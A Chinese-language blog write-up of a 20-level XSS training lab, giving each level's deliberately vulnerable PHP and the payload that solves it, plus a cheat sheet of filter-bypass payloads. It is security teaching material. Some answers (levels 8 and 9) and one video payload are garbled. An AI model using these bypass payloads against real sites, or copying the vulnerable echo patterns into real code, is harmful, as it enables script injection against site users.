一个XSS小游戏闯关平台
level1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
|
answer:
1
|
/level1.php?name=<script>alert(1);</script>
|
level2
1
2
3
4
5
6
7
8
9
10
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
|
answer:
使用js的事件
将input的文本框本分提前闭合
1
|
"><script>alert(1)</script>
|
level3
1
2
3
4
5
6
7
8
9
10
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
|
tips:
htmlspecialchars(string,flags)对如下的特殊字符进行转换,flags默认为ENT_COMPAT|ENT_HTML401,默认不转换单引号。
| 字符 |
替换后 |
| & (& 符号) |
& |
| “ (双引号) |
"，除非设置了 ENT_NOQUOTES |
| ‘ (单引号) |
' 或者 ' |
| < (小于) |
< |
| > (大于) |
> |
![3]()
answer:
js事件
level4
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
|
answer:
1
|
" onfocus=alert(1) autofocus="
|
level5
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
|
tips:
javascript:URL 这个特殊的协议类型声明了URL的主体是任意的javascript代码，它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句，必须使用分号将这些语句分隔开。
通常想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点，必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined，只需要在javascript:URL的结尾使用语句void 0;即可。
answer:
这里的对on和 <script进行了过滤。
不过这次没有过滤尖括号<>，这里使用伪协议来构造payload
1
2
3
|
"><iframe src=javascript:alert(1)>
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
|
level6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
|
answer:
这里没有将字母同意转化为小写，可以大小写绕过。
1
|
"><SCRIPT>alert(1)</SCRIPT><"
|
level7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
|
answer:
双写绕过
level8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
|
answer:
使用html进制编码，服务器可能没有过滤，浏览器会自动解析
t就字母t的实体编码
1
2
3
|
javascrip&
javascrip&
javascrip&
|
点击链接成功xss
level9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
|
answer:
1
2
3
|
javascrip&
javascrip&
javascrip&
|
level10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
|
answer:
1
|
http://127.0.0.1/xss/level10.php?t_link=&t_history=&t_sort=" onclick=alert(1) type="button"
|
level11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
|
answer:
xss注入，开始抓包，burp修改相应的字段，构造http头部Referer的payload:
1
2
|
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
|
level12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
|
burp修改相应的字段，构造http头部User-agent的payload
answer:
1
2
|
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
|
level13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
|
burp修改相应的字段，构造http头部Cookie的payload
answer:
1
2
|
Cookie: user=" onmouseover=alert(1) type="text"
Cookie: user=" onclick="alert(1) type="text"
|
level14
1
|
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center>
|
answer:
exif viewer的漏洞,很久以前的漏洞无法复现
level15
1
2
3
4
5
|
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
|
answer:
ng-include有包含文件的意思，也就相当于php里面的include
发现可以包含第一关的页面，构造payload: src里面的内容还需url编码一下。
src='level1.php?name=<img src=x onerror=alert(1)>'
1
|
src='level1.php?name=<img src=x onerror=alert(1)>'
|
level16
1
2
3
4
5
6
7
8
9
|
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
|
answer:
分析代码，发现大小写绕过失效，script , / , ,等都被转换成 ，我们可以用%0d，%0a等绕过,构造payload：
1
2
3
|
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
|
level17
1
2
3
4
|
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
|
answer:
1
2
3
|
arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert`1`
arg01=123&arg02= onmouseover=alert(1) type="text"
|
level18
1
2
3
4
|
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
|
answer:
1
2
3
|
arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert`1`
arg01=123&arg02= onmouseover=alert(1) type="text"
|
level19
flash xss
Flash XSS攻击总结
1
2
3
4
|
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
|
answer:
1
|
arg01=version&arg02=<a href="javascript:alert(1)">123</a></pre>
|
level20
zeroclipboard xss
Flash XSS检测脚本的简单实现
xss常用绕过方法
1、大小写绕过
1
|
<ScRIpT>alert('123')</sCRIpT>
|
2、编码绕过
- 十六进制编码
- jsfuck编码
- url编码
- unicode编码
1
2
|
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
|
3、绕过magic_quotes_gpc
1
|
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
|
4、标签
闭合标签
1
2
|
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
|
标签绕过
1
2
3
4
5
6
|
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=(′body′).prepend(123);(′body′).prepend(123);('body')></video>
|
5、其他符号绕过
%0a 替换空格
%0d 替换空格
/**/ 替换空格
%00 截断
`` 替换括号
6、双字符绕过
1
2
|
<img ononerrorerror="123">
<script>alalertert(123)</script>
|
7、宽字节绕过
gbxxxx系列的编码，那么我们尝试一下宽字节 %c0，%bf，%5c，%df
8、其他事件绕过
1
2
3
4
5
6
|
onload
onclick
onerror
prompt
confirm
onmousemove
|
9、CRLF injection绕过
CRLF是”回车 + 换行”（\r\n）的简称。
参考文章：
那些年我们一起学XSS
xss挑战平台练习
xss挑战1-20关全通Writeup
FROM :blog.cfyqy.com | Author:cfyqy
评论